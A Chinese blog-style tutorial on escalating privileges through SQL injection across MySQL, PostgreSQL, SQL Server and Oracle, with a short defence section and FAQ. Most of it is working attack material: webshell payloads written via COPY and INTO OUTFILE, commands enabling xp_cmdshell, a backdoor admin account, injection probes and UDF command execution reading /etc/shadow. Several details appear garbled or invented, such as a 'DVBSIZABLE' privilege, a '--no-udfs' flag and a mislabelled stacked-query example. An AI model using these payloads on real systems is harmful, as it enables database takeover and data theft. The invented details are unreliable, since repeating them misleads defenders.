上一篇
注入数据库怎么提权
- 数据库
- 2025-08-07
- 3
通过SQL注入破绽,攻击者可构造反面语句绕过身份验证,直接操作数据库执行高危命令,进而获取管理员权限或改动系统
数据库注入是一种严重的网络安全威胁,其核心在于通过向应用程序传递反面SQL语句,操纵后端数据库的行为,若攻击者成功利用该破绽实现“提权”(Privilege Escalation),则可能突破原有账户权限限制,获得数据库管理员甚至操作系统的最高控制权,以下从技术原理、实施路径、典型场景及防护策略展开深度解析,需特别说明的是,本文所述内容仅限用于合法授权的安全测试与研究,任何未经授权的攻击行为均属违法。
数据库注入提权的核心逻辑
数据库注入的本质是输入验证缺失导致的代码拼接破绽,当应用层未对用户输入进行充分过滤时,攻击者可将原本作为数据的参数改动为SQL指令,从而间接控制数据库行为,提权的关键目标在于:
纵向越权:从普通用户升级为DBA或超级管理员;
横向扩展:跨表、跨库访问敏感数据;
系统级控制:通过数据库服务破绽渗透至操作系统。
阶段 | 关键动作 | 技术难点 |
---|---|---|
破绽探测 | 判断是否存在注入点 | 正则匹配错误回显特征 |
信息收集 | 获取数据库版本、用户权限、表结构 | 使用version() , tables 等内置函数 |
权限分析 | 确认当前会话的权限边界 | 测试SELECT , INSERT , DROP 等操作 |
提权尝试 | 构造高权限操作语句 | 依赖数据库特性与配置缺陷 |
持久化利用 | 创建后门账户或自动化脚本 | 规避日志审计与载入检测 |
主流数据库的提权技术对比
不同数据库系统的架构差异直接影响提权难度,以下是常见数据库的典型提权路径:
MySQL/MariaDB
- 核心机制:基于角色的访问控制(RBAC),默认存在
root@localhost
超级账户。 - 经典手法:
- 堆叠查询(Stacked Queries):通过分号分隔多条语句,
' UNION ALL SELECT NULL,IF(SUBSTRING(password,1,1)=CHAR(0x41),BENCHMARK(1000000,MD5('A')),1) FROM users#
; - 写入文件(Into Outfile):若
secure_file_priv
目录可写,可导出数据至Web目录(如/var/www/html/shell.php
); - MOTD欺骗:修改
mysql.user
表的authentication_string
字段,伪造登录凭证; - UDF提权:编译自定义SO插件(需
file_privilege
权限),加载后执行系统命令。
- 堆叠查询(Stacked Queries):通过分号分隔多条语句,
- 限制条件:需关闭
--skip-grant-tables
启动参数,否则无法修改权限表。
PostgreSQL
- 特色功能:支持
COPY
命令直接读写文件系统,且默认允许创建临时表空间。 - 提权路径:
- 拷贝至OS文件:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/tmp/shell.php';
; - 扩展安装:创建自定义扩展(Extension),嵌入C语言编写的危险函数;
- SQLJ发起二次注入:通过
CREATE OR REPLACE FUNCTION
定义存储过程,递归调用自身实现任意代码执行。
- 拷贝至OS文件:
- 防御重点:禁用
superuser
权限给非必要账户,限制pg_readme
等元数据的访问。
Microsoft SQL Server
- XP_CMDSHELL风险:默认禁用
xp_cmdshell
存储过程,但可通过以下方式激活:- 修改注册表键值
HKEY_LOCAL_MACHINESOFTWAREMicrosoftMicrosoft SQL ServerMSSQLServerSuperSocketNetLibTcpEnabled
; - 使用
sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
;
- 修改注册表键值
- 代理执行:通过
OPENQUERY
绕过视图权限限制,或利用LINKED_SERVER
跨实例查询。 - OLE Automation攻击:调用WMI、WScript等组件执行PowerShell命令。
Oracle
- DVBSIZABLE特权滥用:拥有此权限的用户可直接创建DBA角色;
- Java存储过程:上传反面JAR文件,调用
Runtime.getRuntime().exec()
; - 外部表(External Tables):映射操作系统文件为数据库表,实现任意文件读取/写入。
实战提权步骤详解
Step 1:确认注入点类型
类型 | 特征 | 示例 |
---|---|---|
数字型注入 | 参数为整数,报错提示具体列名 | id=1' AND 1=1-- |
字符型注入 | 参数含字符串,单引号被转义 | name='admin' OR '1'='1' |
布尔型盲注 | 无显式错误返回,仅凭真假结果推断 | ' AND (SELECT ...) > 0 |
时间型盲注 | 根据响应延迟判断条件成立与否 | ' AND sleep(5)-- |
Step 2:获取基础信息
-MySQL示例:获取数据库版本与当前用户 SELECT @@version, USER(); -PostgreSQL示例:列举所有表名 SELECT table_name FROM information_schema.tables; -MSSQL示例:查看链接服务器配置 EXEC sp_linkedservers;
Step 3:尝试基础提权操作
- 添加新用户(需CREATE USER权限):
-MySQL: 创建具有ALL PRIVILEGES的新用户 CREATE USER 'hacker'@'%' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' WITH GRANT OPTION;
- 修改现有用户密码(需UPDATE权限):
-PostgreSQL: 重置postgres用户密码 ALTER USER postgres WITH ENCRYPTED PASSWORD 'newpass';
- 启用危险功能(需ADMIN权限):
-MSSQL: 开启xp_cmdshell sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Step 4:高级提权技巧
- UDF/DLL劫持(适用于MySQL/PostgreSQL):
- 编译带有系统调用功能的动态链接库(如Linux下的
lib_udf.so
); - 通过
CREATE FUNCTION
注册为自定义函数; - 调用该函数执行命令(如
SELECT my_system('whoami');
)。
- 编译带有系统调用功能的动态链接库(如Linux下的
- 文件读写组合攻击:
- 第一阶段:将WebShell写入网站目录(如
INTO OUTFILE '/var/www/html/cmd.php'
); - 第二阶段:通过浏览器访问
http://target/cmd.php?cmd=ls
获取服务器信息; - 第三阶段:上传更复杂的反向Shell或Meterpreter载荷。
- 第一阶段:将WebShell写入网站目录(如
- 链式提权:
- 先通过注入获取低权限账号;
- 利用该账号的有限权限读取配置文件(如
/etc/passwd
); - 根据发现的线索继续横向移动(如SUID程序、cron任务)。
真实案例复盘
案例1:某电商网站订单改动+提权事件
- 破绽入口:搜索框未过滤
price
参数,存在整型注入; - 攻击流程:
- 通过
ORDER BY id DESC
推测出数据库结构; - 使用
UNION SELECT @@version,USER()
确认为MySQL 5.7; - 发现当前用户仅有SELECT权限,但可访问
information_schema
库; - 查找包含敏感信息的表(如
payment_logs
),发现管理员邮箱; - 构造钓鱼邮件冒充客服,诱导管理员点击带XSS的链接;
- 结合前端XSS与后端SQLi,最终获取管理员Cookie并登录后台。
- 通过
- 教训:即使初始权限较低,仍可通过社会工程学扩大战果。
案例2:政府网站UDF提权事件
- 攻击特征:攻击者上传了名为
lib_syscall.so
的UDF库; - 技术细节:
- 该库导出了一个名为
exec_command
的函数,内部调用system("/bin/sh -c %s")
; - 通过
SELECT exec_command("cat /etc/shadow")
成功读取系统影子文件; - 后续替换为持久化的计划任务,每日凌晨同步最新数据至攻击者服务器。
- 该库导出了一个名为
- 修复方案:禁止普通用户创建UDF,启用
--no-udfs
启动参数。
防御体系构建指南
层级 | 措施 | 工具/配置示例 |
---|---|---|
应用层 | 预编译语句(PreparedStatement)、ORM框架 | Hibernate、MyBatis |
Web层 | WAF规则拦截常见注入Payload(如' OR 1=1-- ) |
ModiSecurity、Cloudflare |
数据库层 | 最小权限原则、禁用不必要的存储引擎(如FEDERATED) | REVOKE ALL ON . FROM 'public'@'%' |
系统层 | 定期更新补丁、限制数据库服务的网络暴露面 | firewalld、iptables |
监控审计 | 记录所有DDL/DML操作日志,设置异常行为告警(如深夜大量DROP操作) | Audit Trail、ELK Stack |
相关问答FAQs
Q1: 如果数据库开启了严格模式(STRICT_MODE),还能进行注入吗?
A: STRICT_MODE主要用于约束数据完整性(如禁止NULL插入NOT NULL字段),对注入本身影响有限,但以下两点需要注意:① 错误处理会更严格,可能导致盲注失败;② 部分隐式转换会被禁止,此时应转向时间型盲注或基于布尔条件的推理攻击。
Q2: 如何检测是否存在UDF提权风险?
A: 可通过以下方法排查:① 查询func
表查看已注册的函数来源;② 检查plugin_dir
目录下是否存在可疑文件;③ 监控进程加载的动态库(如ldd
命令),推荐使用专业工具如`mysql-audit